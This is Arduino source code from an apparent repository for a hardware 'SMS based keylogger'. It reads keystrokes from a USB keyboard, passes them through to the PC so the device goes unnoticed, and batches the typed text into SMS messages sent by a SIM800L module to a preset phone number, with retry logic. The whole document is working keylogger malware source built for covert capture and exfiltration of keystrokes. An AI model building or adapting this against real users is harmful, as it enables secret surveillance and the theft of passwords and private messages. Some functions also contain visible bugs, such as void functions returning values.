{0,0,0,0,0,0,0,0,42,43,40,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,44,158,180,160,161,162,164,52,166,167,165,174,54,45,55,56,39,30,31,32,33,34,35,36,37,38,179,51,182,46,183,184,159,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,47,49,48,163,173,53,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,175,177,176,181,0}; 5 | const PROGMEM byte keyPadMap[16] = {85,87,0,86,99,84,98,89,90,91,92,93,94,95,96,97}; 6 | bool debug = false; 7 | 8 | C_USBhost::C_USBhost(HardwareSerial& s): 9 | serial(s) { 10 | 11 | } 12 | 13 | C_USBhost::C_USBhost(HardwareSerial& s, bool debug_state): 14 | serial(s) { 15 | debug = debug_state; 16 | } 17 | 18 | 19 | void C_USBhost::Begin(unsigned long baud_rate){ 20 | serial.begin(baud_rate); 21 | } 22 | 23 | void C_USBhost::SetBaudRate(char* baud_rate){ 24 | serial.write("BAUD "); 25 | serial.write(baud_rate); 26 | serial.write("\r\n"); 27 | 28 | delay(500); 29 | 30 | char str[65]; byte i; 31 | while(serial.available()){ 32 | str[i++] = serial.read(); 33 | } 34 | 35 | if(debug){ 36 | Serial.print(F("USB host board, changing baud rate response: ")); Serial.println(str); 37 | } 38 | 39 | if(strstr(str, "Baud Rate Changed")){ 40 | return true; 41 | } 42 | return false; 43 | } 44 | 45 | void C_USBhost::SetMode(char mode){ 46 | serial.write("MODE "); 47 | serial.write(mode); 48 | serial.write("\r\n"); 49 | 50 | delay(500); 51 | 52 | char str[65]; byte i; 53 | while(serial.available()){ 54 | str[i++] = serial.read(); 55 | } 56 | 57 | if(debug){ 58 | Serial.print(F("USB host board, changing mode response: ")); Serial.println(str); 59 | } 60 | 61 | if(strstr(str, "Mode Changed")){ 62 | return true; 63 | } 64 | return false; 65 | } 66 | 67 | 68 | byte C_USBhost::GetKey() { 69 | // many keys can be pressed at the same time but only 1 value can be returned 70 | // so there's an array that holds up to 6 keys that were potentially pressed 71 | // until that array is empty no communication with usbhost will occur 72 | for(int i=0; i<6; i++){ 73 | if(collectedAsciiValues[i]){ 74 | byte val = collectedAsciiValues[i]; 75 | collectedAsciiValues[i] = 0; 76 | return val; 77 | } 78 | } 79 | 80 | if (serial.available() > 0) { 81 | if (serial.available() == 63) { 82 | fullBufferFlag_preventHold = true; //P(F("OCCUPIED BUFFER BYTES (serial.available): ")); PL((int)serial.available()); 83 | } 84 | hidText[hbc++] = serial.read(); // hbc is hid bytes count (number of bytes that was read already from USBhost which sends something like 00-00-04-00-00-00-00-00a) 85 | hbc = IgnoreBytesIfUseless(hbc); // decreases hbc if required 86 | 87 | if (hbc == 26) { // if the full string (25 bytes long) representing 8 HID values is received (e.g. "\n\r02-00-04-00-00-00-00-00") 88 | hidText[hbc] = 0; 89 | ConvertInputToBytes(hidText, rawHID); 90 | Send_Report(rawHID); 91 | SaveTheKeys(); 92 | CleanUpVars(); 93 | 94 | FullBuffer_BugPrevention(); 95 | } 96 | } 97 | return 0; 98 | } 99 | 100 | 101 | 102 | byte C_USBhost::IgnoreBytesIfUseless(byte index) { 103 | if ((index == 1 && hidText[index - 1] != 10) || (index == 2 && hidText[index - 1] != 13)) { 104 | index--; // 2 bytes (10 and 13) are received before the string that includes raw HID info //P(F("hbc_VALUE: ")); P(hbc); P(", Char: "); PL(hidText[hbc-1]); 105 | } 106 | return index; 107 | } 108 | 109 | void C_USBhost::ConvertInputToBytes(char* input, byte* raw_bytes) { 110 | for (byte j = 0; j < 8; j++) { 111 | char buff[3] = {input[j * 2 + j + 2], input[j * 2 + j + 3], 0}; // convert string to 8 HID bytes 112 | raw_bytes[j] = (byte)strtoul(buff, NULL, 16); 113 | memset(buff, 0, sizeof(buff)); 114 | } 115 | } 116 | 117 | void C_USBhost::Send_Report(byte* bytes) { 118 | KeyReport kr = {bytes[0], bytes[1], 119 | { 120 | bytes[2], bytes[3], bytes[4], bytes[5], bytes[6], bytes[7] 121 | } 122 | }; 123 | HID().SendReport(2, &kr, sizeof(KeyReport)); /*PL(F("Report Sent."));*/ 124 | } 125 | 126 | 127 | void C_USBhost::SaveTheKeys(){ 128 | if(WasAnyKeyPressed()){ 129 | byte keys_pressed[6] = {0}; 130 | GetKeysPressed(keys_pressed); 131 | 132 | for(int i = 0; i < sizeof(keys_pressed); i++) 133 | { 134 | byte key = keys_pressed[i]; 135 | if(key){ 136 | if(debug){ 137 | Serial.print(F("\nrawHID string: ")); Serial.println(hidText); // debug line 138 | Serial.print(F("rawHID key detected: hex - ")); Serial.print(key, HEX); Serial.print(F(", int - ")); Serial.println((int)key); // debug line 139 | } 140 | 141 | byte asciiKey = HID_to_ASCII(key, WasShiftDown()); 142 | 143 | 144 | if(debug){Serial.print(F("Ascii key detected: hex - ")); Serial.print(asciiKey, HEX); Serial.print(F(", int - ")); Serial.print((int)asciiKey); Serial.print(F(", char - ")); Serial.println((char)asciiKey);} 145 | 146 | if(asciiKey){ 147 | collectedAsciiValues[i] = (char)asciiKey; 148 | } 149 | asciiKey = 0; 150 | } 151 | key = 0; 152 | } 153 | } 154 | else if (WasModifierPressed()){} 155 | else{ 156 | if(debug){ 157 | Serial.print(F("\nRELEASED_OR_LOST\nrawHID string: ")); Serial.println(hidText); // debug line 158 | //Serial.print(F("rawHID key detected: hex - ")); Serial.print(key, HEX); Serial.print(F(", int - ")); Serial.println((int)key); // debug line 159 | } 160 | } // was released 161 | } 162 | 163 | byte C_USBhost::HID_to_ASCII(byte key, bool shiftDown){ 164 | for(byte i=0; i<128; i++){ // asciiMap contains HID values (some modified), their order indicates which ascii value should be used 165 | byte b = pgm_read_byte(asciiMap + i); // some HID values are modified - if the HID value from the asciiMap array is over 127 then it means that shift must be used with it 166 | if(!(shiftDown == false && b >= 128) && !(shiftDown == true && b < 128)) // so if the user actually was holding shift then take into account only the values over 127 when trying to convert it to ascii 167 | if(key == (shiftDown ? b ^ 128 : b)) // if shift was not pressed then take search through values equal or lower than 127 168 | return i; 169 | } 170 | for(byte i=0; i < 16; i++) // numpad keys 171 | if(key == pgm_read_byte(keyPadMap + i)) 172 | return i+42; 173 | return 0; 174 | } 175 | 176 | 177 | bool C_USBhost::WasAnyKeyPressed() { 178 | for (int i = 2; i < 8; i++) { 179 | if(!WasKeyPreviouslyPressed(rawHID[i])){ 180 | return true; 181 | } 182 | } return false; 183 | } 184 | 185 | bool C_USBhost::WasKeyPreviouslyPressed(byte key){ 186 | for (int i = 2; i < 8; i++) { 187 | if(prevRawHID[i] == key){ 188 | return true; 189 | } 190 | } return false; 191 | } 192 | 193 | bool C_USBhost::WasModifierPressed() { 194 | return ((rawHID[0] > 0) && (rawHID[0] != prevRawHID[0])); 195 | } 196 | 197 | void C_USBhost::GetKeysPressed(byte* keys_pressed) { 198 | for (int i = 2; i < 8; i++) { 199 | if (rawHID[i] > 0 && !WasKeyPreviouslyPressed(rawHID[i])) { 200 | keys_pressed[i-2] = rawHID[i]; 201 | } 202 | } 203 | } 204 | 205 | bool C_USBhost::WasShiftDown() { 206 | return (IsBitHigh(rawHID[0], 1) || IsBitHigh(rawHID[0], 5)); // if 2nd or 6th bit (left/right shift) 207 | } 208 | 209 | bool C_USBhost::IsBitHigh(byte byteToConvert, byte bitToReturn) { 210 | byte mask = 1 << bitToReturn; // thanks to Marc Gravell's https://stackoverflow.com/questions/9804866/return-a-specific-bit-as-boolean-from-a-byte-value 211 | return (byteToConvert & mask) == mask; 212 | } 213 | 214 | void C_USBhost::ReleaseAllButtons(char* reason) { 215 | KeyReport kr = {0, 0, {0, 0, 0, 0, 0, 0}}; 216 | HID().SendReport(2, &kr, sizeof(KeyReport)); 217 | 218 | if(debug){Serial.print(F("RELEASING ALL BUTTONS. Reason: ")); Serial.println(reason);} 219 | } 220 | 221 | void C_USBhost::CleanUpVars() { 222 | for (byte j = 0; j < sizeof(rawHID); j++) { 223 | prevRawHID[j] = rawHID[j]; 224 | } 225 | memset(rawHID, 0, sizeof(rawHID)); 226 | memset(hidText, 0, sizeof(hidText)); 227 | hbc = 0; 228 | } 229 | 230 | void C_USBhost::FullBuffer_BugPrevention() { 231 | if (fullBufferFlag_preventHold) { 232 | ReleaseAllButtons("USBhost buffer was full. Bytes could be lost. Holding bug was possible."); 233 | if (this->serial.available() < 1) { 234 | fullBufferFlag_preventHold = false; 235 | } 236 | } 237 | } 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | -------------------------------------------------------------------------------- /SMS based keylogger/keylogger_sim800l/keylogger_sim800l.ino: -------------------------------------------------------------------------------- 1 | // make sure to copy whole folder, not just this sketch 2 | 3 | #include // library required for serial communication using almost(!) any Digital I/O pins of Arduino 4 | #include // library that contains all the HID functionality necessary to pass-on the typed and logged keys to the PC 5 | #include "C_USBhost.h" // class used to make the code more clear 6 | #include "C_Sim800L.h" // same 7 | 8 | /* 9 | The wiring of Sim800L could be flexible because it relies on SoftwareSerial. But keep in mind that: 10 | "Not all pins on the Leonardo and Micro support change interrupts, so only the following 11 | can be used for RX: 8, 9, 10, 11, 14 (MISO), 15 (SCK), 16 (MOSI)". (see: https://www.arduino.cc/en/Reference/SoftwareSerial) 12 | 13 | The following lines are responsible for wiring: 14 | */ 15 | 16 | C_Sim800L Sim800L = C_Sim800L(/*softwareSerial RX*/8, /*softwareSerial TX*/9, /*resetPin*/10, /*debug_state*/false); //communication with sim800L (software serial pins) 17 | C_USBhost USBhost = C_USBhost(Serial1, /*debug_state*/false); // communication with USB host board (receiving input from keyboard), connected to RX/TX of Arduino Pro Micro 18 | #define SIM800L_RESET_PIN 10 // digital Arduino pin connected to RST of Sim800L 19 | 20 | /* 21 | The wiring used with the lines above is: 22 | [ Pro Micro 5V -> sim800L ] 23 | 8 -> SIM_TXD 24 | 9 -> SIM_RXD 25 | VCC -> 5V 26 | GND -> GND 27 | 2nd GND -> 2nd GND 28 | 29 | "collector" leg -----> RST 30 | | 31 | 10 -> 1K res -> NPN transistor "base" leg (e.g. BD137) (see this link and notice direction of NPN transistor and reference: http://exploreembedded.com/wiki/GSM_SIM800L_Sheild_with_Arduino) 32 | | 33 | "emitter" leg -----> GND 34 | 35 | 36 | [ Pro Micro 5V -> Usb Host Mini Board ] // Vertical lines indicate that the connection is made on the same module 37 | GND -> 0V (GND) 38 | | 39 | 4.7K resistor 40 | | 41 | RX 42 | 43 | RX -> TX 44 | TX -> 2K resistor -> RX 45 | RAW -> 5V 46 | 47 | Possible design (don't use for wiring reference, it changed since this picture): 48 | https://cdn.discordapp.com/attachments/417291555146039297/417340199379533824/b.jpg 49 | https://cdn.discordapp.com/attachments/417291555146039297/417340239942778880/c.jpg 50 | 51 | Make sure to read the comments below regarding sim800L baud rate. It has essential information required to make it work. 52 | 53 | The code sends "MODE 6" to the USB host board in order to receive raw HID data, don't worry if it changes what is received from 54 | the board (if you're using it for other projects) and just send "MODE 0" command to it by for example changing the "USBhost.println("MODE 6")" line below 55 | and running the code once. 56 | */ 57 | 58 | /* SETTINGS */ 59 | #define PHONE_RECEIVER_NUMBER "+44999999999" 60 | #define CHAR_LIMIT 140 // number of characters before it sends sms (shouldn't be more than 150) 61 | /* 62 | The serial connection speed below (for the SIM800L) heavily impacts how fast the sms are sent. The higher value = the faster speed. 63 | The default baud rate of sim800L appears to be 9600. It could be changed by sending AT+IPR= command. Possible values of the sim800L 64 | baud rates compatible with Arduino Pro Micro are: 1200, 2400, 4800, 9600, 19200, 38400, 57600, 115200. If you look at the original 65 | version that uses Teensy it has it set to 115200, I'm not aware of the reliability of it for Teensy because I never tested it but for 66 | the Arduino Pro Micro 115200 baud rate was unreliable for me and resulted in slightly "gibberish" output. 38400 worked fine (AT+IPR=38400 command). 67 | 57600 apeared to be the highest reliable frequency compatible between these 2 boards during my test but it's also the weirdest one... 68 | Twice I used AT+IPR=57600 command and twice it set it to 57700... Keep that in mind if you do the same, because if I didn't notice the response which 69 | said 57700 instead of 57600 I would probably assume that I have to look for some way to revert it to orginal settings through some reset, just because it 70 | set the baud rate to incorrect value. (even the datasheet says that it supports 57600 but in practice it changed it to 57700...) 71 | Using 57700 baud rate 140 characters long sms takes around 50ms to send (0.05 of a second). 72 | */ 73 | #define BAUD_RATE_SIM800L 57700 // default is 9600 so send AT+IPR=57700 to it through serial monitor 74 | #define BAUD_RATE_USB_HOST_BOARD 115200 // default was 9600, it was changed by: "BAUD 115200" command (ended by "carriage return", see bottom-right corner of serial monitor) 75 | #define BAUD_RATE_SERIAL 115200 // usually 9600 is used but because of the USBhost and Sim800L serials being faster it's also set to higher value (to prevent it interrupting their work by any chance) 76 | //#define SERIAL_DEBUG false // I'd recommend set it false before deploying the device, use it for testing and observing Serial Monitor only 77 | /* END OF SETTINGS */ 78 | 79 | char TextSms[CHAR_LIMIT+2]; // + 2 for the last confirming byte sim800L requires to either confirm (byte 26) or discard (byte 27) new sms message 80 | int char_count; // how many characters were "collected" since turning device on (or since last sms was sent) 81 | 82 | bool smsFailed = false; 83 | unsigned long failedSmsTime; 84 | char backupTextSms[CHAR_LIMIT+2]; 85 | byte backupCharCount = 0; 86 | byte emergencySmsRoutineStep = 0; 87 | bool smsWasSent = false; 88 | unsigned long smsSendingTime; 89 | 90 | 91 | void setup() { 92 | delay(1000); // probably useless, but it allows some time for the USB host board and Sim800L to initialize 93 | 94 | Serial.begin(BAUD_RATE_SERIAL); // begin serial communication with PC (so Serial Monitor could be opened and the developer could see what is actually going on in the code) 95 | 96 | Sim800L.Begin(BAUD_RATE_SIM800L); // begin serial communication with the sim800L module to let it know (later) to send an sms 97 | Sim800L.SetSmsResponseCollectionDelay(8000); // it can't be collected straight after sending because Sim800L provides response after around 5 seconds 98 | Sim800L.SendCmd("AT+CMGF=1\r\n", "OK"); // AT+CMGF command sets the sms mode to "text" (see 113th page of https://www.elecrow.com/download/SIM800%20Series_AT%20Command%20Manual_V1.09.pdf) 99 | 100 | USBhost.Begin(BAUD_RATE_USB_HOST_BOARD); // begin serial communication with USB host board in order to receive key bytes from the keyboard connected to it 101 | USBhost.SetMode('6'); 102 | 103 | Keyboard.begin(); // start HID functionality, it will allow to type keys to the PC just as if there was no keylogger at all 104 | pinMode(SIM800L_RESET_PIN, OUTPUT); 105 | digitalWrite(SIM800L_RESET_PIN, LOW); 106 | } 107 | 108 | 109 | 110 | void loop() { 111 | byte b = USBhost.GetKey(); // function responsible for collecting, storing keystrokes from USB host board, it also is typing keystrokes to PC 112 | if(b){ 113 | TextSms[char_count++] = (char)b; 114 | if (char_count == CHAR_LIMIT - 1) { 115 | TextSms[char_count] = 0; 116 | if(Sim800L.SendSms(PHONE_RECEIVER_NUMBER, TextSms)){ // function responsible for sending sms (+ release all buttons if message is going to be sent) 3rd parameter is making sure 117 | char_count = 0; 118 | smsWasSent = true; 119 | smsSendingTime = millis(); 120 | //Serial.print(F("loop - smsSendingTime: ")); Serial.println(smsSendingTime); 121 | } 122 | else{ 123 | smsFailed = true; 124 | for(byte i=0; i<=char_count; i++){ 125 | backupTextSms[i] = TextSms[i]; 126 | } 127 | backupCharCount = char_count; 128 | char_count = 0; 129 | } 130 | } 131 | } 132 | 133 | 134 | if(smsFailed){ 135 | if(Sim800L.EmergencySmsRoutine(PHONE_RECEIVER_NUMBER, backupTextSms)){ // if sms couldn't be sent then reset/reboot Sim800L and try sending sms again, do it without interrupting HID data collection hence this "emergency routine" exists 136 | smsFailed = false; 137 | smsWasSent = true; 138 | smsSendingTime = millis(); 139 | //Serial.print(F("loop Sim800L.EmergencySmsRoutine - smsSendingTime: ")); Serial.println(smsSendingTime); 140 | } 141 | } 142 | 143 | if(smsWasSent){ 144 | Sim800L.ReadSerialBuffer(); // to avoid it being full (it's only 64 bytes), it's actually not necessary but it was implemented because Sim800L returns all the chars that were sent to it... It is useless a little because these chars are ignored straight away instead but it could stay as a protection in case if Sim800L tries to send much larger message as usual, this function progressively reads the serial buffer and stores the chars in a larger one. 145 | if(Sim800L.CheckDelayedSmsResponse(smsSendingTime)){ 146 | smsWasSent = 0; // reset variable because response was received (or abandoned if nothing was received) 147 | } 148 | } 149 | } 150 | 151 | 152 | 153 | 154 | 155 | 156 | -------------------------------------------------------------------------------- /SMS based keylogger/keylogger_sim800l/C_Sim800L.cpp: -------------------------------------------------------------------------------- 1 | #include "C_Sim800L.h" 2 | 3 | 4 | C_Sim800L::C_Sim800L(byte rx_pin, byte tx_pin, byte reset_pin, bool debug_state){ 5 | serial = new SoftwareSerial(rx_pin, tx_pin); 6 | resetPin = reset_pin; 7 | debug = debug_state; 8 | } 9 | 10 | void C_Sim800L::Begin(unsigned long baud_rate){ 11 | serial->begin(baud_rate); 12 | } 13 | 14 | void C_Sim800L::ResetSim800L(){ 15 | digitalWrite(resetPin, HIGH); 16 | delay(100); 17 | digitalWrite(resetPin, LOW); 18 | if(debug){Serial.println(F("Resetted Sim800L module."));} 19 | } 20 | 21 | 22 | bool C_Sim800L::SendSms(char* number, char* text){ 23 | 24 | bool success; 25 | sendSmsEntryTime = millis(); 26 | char sms_cmd[40]; 27 | 28 | if(debug){ 29 | Serial.println(F("\nSms with the following content is about to be sent to sim800L: ")); Serial.println(text); 30 | Serial.print(F("C_Sim800L::SendSms strlen(text) - ")); Serial.println(strlen(text)); 31 | } 32 | sprintf(sms_cmd, "AT+CMGS=\"%s\"\r\n", number); 33 | 34 | if (SendCmd(sms_cmd, ">")){ 35 | for(byte i=0; iwrite(text[i]); 37 | 38 | if(serial->available()){ 39 | if(debug){Serial.print(F("C_Sim800L::SendSms[first] - cleaning 1 byte from serial buffer, current buffer size - ")); Serial.print((int)serial->available()); Serial.print(F(", char - ")); Serial.println((char)serial->read());} 40 | else{serial->read();} 41 | } 42 | } 43 | serial->write(26); 44 | 45 | for(byte i=0; iavailable()){ 47 | if(debug){Serial.print(F("C_Sim800L::SendSms[second] - cleaning 1 byte from serial buffer, current buffer size - ")); Serial.print((int)serial->available()); Serial.print(F(", char - ")); Serial.println((char)serial->read());} 48 | else{serial->read();} 49 | } 50 | } 51 | 52 | if(debug){Serial.println(F("Sms sending command has been sent, response should be read in few seconds."));} 53 | success = true; 54 | }else{ 55 | if(debug){Serial.println(F("WARNING: Sending sms failed. \">\" character was not received."));} 56 | success = false; 57 | } 58 | 59 | if(success == true){if(debug){Serial.print(F("Sending SMS took: ")); Serial.print(millis() - sendSmsEntryTime); Serial.println("ms.");}} 60 | memset(sms_cmd, 0, sizeof(sms_cmd)); 61 | return success; 62 | } 63 | 64 | 65 | bool C_Sim800L::SendCmd(char* cmd, char* desiredResponsePart){ 66 | ClearSerialBuffer(); 67 | serial->write(cmd); 68 | if(debug){ 69 | Serial.print(F("\nThe following command has been sent to sim800L: ")); Serial.print(cmd); 70 | Serial.println(F("Waiting for response...")); 71 | } 72 | 73 | char response[60]; 74 | if(!GetResponse(response, sizeof(response), cmd)){ 75 | if(debug){Serial.println(F("WARNING: No response received within 2000ms."));} 76 | return false; 77 | } 78 | else{ 79 | if(!strstr(response, desiredResponsePart)){ 80 | if(debug){ 81 | Serial.println(F("WARNING: Response did not include desired characters.")); 82 | Serial.println(F("Response: ")); Serial.println(response); 83 | Serial.println(F("\nDesired response phrase was: ")); Serial.println(desiredResponsePart); 84 | } 85 | memset(response, 0, sizeof(response)); 86 | return false; 87 | } 88 | else{ 89 | if(debug){Serial.println(F("Response: ")); Serial.println(response);} 90 | memset(response, 0, sizeof(response)); 91 | return true; 92 | } 93 | } 94 | } 95 | 96 | 97 | bool C_Sim800L::GetResponse(char* response, byte respLen, char* lastCmd) { // timeout = waitForTheFirstByteForThatLongUntilReturningFalse, keepCheckingFor = checkingTimeLimitAfterLastCharWasReceived 98 | for(byte i=0; i < respLen; i++){response[i]=0;} //clear buffer 99 | C_USBhost::ReleaseAllButtons("Getting Sim800L response."); 100 | unsigned long functionEntryTime = millis(); 101 | while(serial->available() <= 0){ 102 | //delayMicroseconds(10); 103 | if(millis() - functionEntryTime > 2000){ 104 | return false; 105 | } 106 | } 107 | 108 | byte i=0; 109 | byte ignorePreviouslyTypedCommand = 0; // value used to ignore the command that was sent in case if it's returned back (which is done by the sim800L...) 110 | unsigned long lastByteRec = millis(); // timing functions (needed for reliable reading of the BTserial) 111 | while (10 > millis() - lastByteRec) // if no further character was received during 10ms then proceed with the amount of chars that were already received (notice that "previousByteRec" gets updated only if a new char is received) 112 | { 113 | while (serial->available() > 0 && i < respLen - 1) { 114 | if(i == strlen(lastCmd)){ 115 | if(!strncmp(response, lastCmd, strlen(response)-1)){ 116 | ignorePreviouslyTypedCommand = i+1; 117 | //PL("IGNORING_PREVIOUSLY_TYPED_CMD_THAT_IS_RETURNED_FROM_SIM_800L"); 118 | for(byte j=0; jread(); 124 | i++; 125 | lastByteRec = millis(); 126 | } 127 | if(i >= respLen - 1){if(debug){Serial.println(F("WARNING: Sim800L response size is over limit."));} return true;} 128 | } 129 | return true; 130 | } 131 | 132 | 133 | void C_Sim800L::ReadSerialBuffer(){ 134 | if(serial->available() && drc < 120){ 135 | if(drc == 0 && debug){Serial.print(F("C_Sim800L::ReadSerialBuffer - FIRST drc TIME: ")); Serial.println(millis());} 136 | 137 | if(serial->available() == 63){ 138 | if(debug){Serial.println(F("C_Sim800L::ReadSerialBuffer - WARNING: Sim800L software serial buffer is full. Some of the response was probably lost."));} 139 | } 140 | delayedResponse[drc++] = serial->read(); 141 | if(debug){Serial.print(F("C_Sim800L::ReadSerialBuffer - serial->available value - ")); Serial.print((int)serial->available()); Serial.print(F(", drc value - ")); Serial.println((int)drc);} 142 | } 143 | } 144 | 145 | bool C_Sim800L::CheckDelayedSmsResponse(unsigned long sendingTime){ 146 | if(millis() - sendingTime > responseDelay){ 147 | if(debug){Serial.println("");} 148 | 149 | if (drc > 0){ 150 | if(strstr(delayedResponse, "OK")){ 151 | if(debug){ 152 | Serial.println(F("Sms was probably sent successfully. 'OK' response was received. Response:")); 153 | Serial.println(delayedResponse); 154 | } 155 | } 156 | else{ 157 | if(debug){ 158 | Serial.println(F("WARNING: 'OK' not received in sms response. Response:")); 159 | Serial.println(delayedResponse); 160 | } 161 | } 162 | drc = 0; 163 | memset(delayedResponse, 0 , 120); 164 | } 165 | else{ 166 | if(debug){Serial.println(F("WARNING: No response after sending sms."));} 167 | } 168 | 169 | /* 170 | char response[80]; 171 | if(debug){Serial.println("");} 172 | if (GetResponse(response, sizeof(response), NULL)){ 173 | if(strstr(response, "OK")){ 174 | if(debug){Serial.println(F("Sms was probably sent successfully. 'OK' response was received."));} 175 | ret = true; // not sure about this 176 | } 177 | else{ 178 | if(debug){ 179 | Serial.println(F("WARNING: 'OK' not received in sms response. Response:")); 180 | Serial.println(response); 181 | ret = false; // not sure about this 182 | } 183 | } 184 | } 185 | else{ 186 | if(debug){Serial.println(F("WARNING: No response after sending sms."));} 187 | ret = false; // not sure about this 188 | } 189 | memset(response, 0, sizeof(response)); 190 | */ 191 | return true; 192 | } 193 | return false; // not sure about this 194 | } 195 | 196 | 197 | void C_Sim800L::ClearSerialBuffer(){ 198 | while(serial->available()){ 199 | serial->read(); 200 | } 201 | } 202 | 203 | void C_Sim800L::SetSmsResponseCollectionDelay(unsigned int response_delay){ 204 | responseDelay = response_delay; 205 | } 206 | 207 | 208 | bool C_Sim800L::EmergencySmsRoutine(char* number, char* backupTextSms){ 209 | switch(emergencySmsRoutineStep){ 210 | case 0: 211 | failedSmsTime = millis(); 212 | ResetSim800L(); 213 | emergencySmsRoutineStep++; 214 | break; 215 | 216 | /* 217 | case 1: 218 | if(millis() - failedSmsTime > 5000){ 219 | //Sim800L.write("AT"); 220 | emergencySmsRoutineStep++; 221 | } 222 | break; 223 | 224 | case 2: 225 | if(millis() - failedSmsTime > 9000){ 226 | ReleaseAllButtons(); 227 | char response[80]; 228 | if (Get_Sim800L_Response(response, sizeof(response), "AT")){ 229 | if(strstr(response, "SMS Ready")){ 230 | PL(F("Sim800L re-booted successfully. 'SMS Ready' response received ('AT').")); 231 | } 232 | else{ 233 | PL(F("WARNING: 'SMS Ready' not received ('AT'). Proceeding anyway...")); 234 | PL(F("Response was:")); PL(response); 235 | } 236 | } 237 | else{ 238 | PL(F("WARNING: No response to 'AT' command. Proceeding anyway...")); 239 | PL(F("Response was:")); PL(response); 240 | } 241 | memset(response, 0, sizeof(response)); 242 | emergencySmsRoutineStep++; 243 | } 244 | break; 245 | 246 | 247 | case 1: 248 | if(millis() - failedSmsTime > 5000){ 249 | //Sim800L.write("AT+CMGF=1\r\n"); 250 | emergencySmsRoutineStep++; 251 | } 252 | break; 253 | */ 254 | case 1: 255 | if(millis() - failedSmsTime > 8000){ 256 | ClearSerialBuffer(); 257 | serial->write("AT+CMGF=1\r\n"); 258 | char response[80]; 259 | if(debug){ 260 | if (GetResponse(response, sizeof(response), "AT+CMGF=1\r\n")){ 261 | if(strstr(response, "OK")){ 262 | Serial.println(F("Sim800L::EmergencySmsRoutine - Sms mode set successfully. 'OK' response received ('AT+CMGF=1').")); 263 | } 264 | else{ 265 | Serial.println(F("Sim800L::EmergencySmsRoutine - WARNING: 'OK' not received after setting sms mode ('AT+CMGF=1'). Proceeding anyway...")); 266 | Serial.println(F("Response was:")); Serial.println(response); 267 | } 268 | } 269 | else{ 270 | Serial.println(F("Sim800L::EmergencySmsRoutine - WARNING: No response to 'AT+CMGF=1' command. Proceeding anyway...")); 271 | } 272 | } 273 | else{ 274 | GetResponse(response, sizeof(response), "AT+CMGF=1\r\n"); 275 | } 276 | memset(response, 0, sizeof(response)); 277 | emergencySmsRoutineStep++; 278 | } 279 | break; 280 | 281 | case 2: 282 | if(debug){Serial.println(F("Sim800L::EmergencySmsRoutine - Trying to re-send sms..."));} 283 | if(SendSms(number, backupTextSms)){ 284 | emergencySmsRoutineStep=0; 285 | 286 | //memset(backupTextSms, 0, sizeof(backupTextSms)); 287 | /* false debug info (it should say that delayed response will arrive soon) 288 | if(debug){ 289 | Serial.println(F("Sim800L::EmergencySmsRoutine - Sms was probably re-sent successfully. 'OK' response was received. Response:")); 290 | Serial.println(delayedResponse); 291 | } 292 | */ 293 | return true; 294 | } 295 | else{ 296 | emergencySmsRoutineStep=0; 297 | if(debug){Serial.println(F("Sim800L::EmergencySmsRoutine - Sms sending failed again. Re-trying procedure..."));} 298 | } 299 | break; 300 | } 301 | return false; 302 | } 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | --------------------------------------------------------------------------------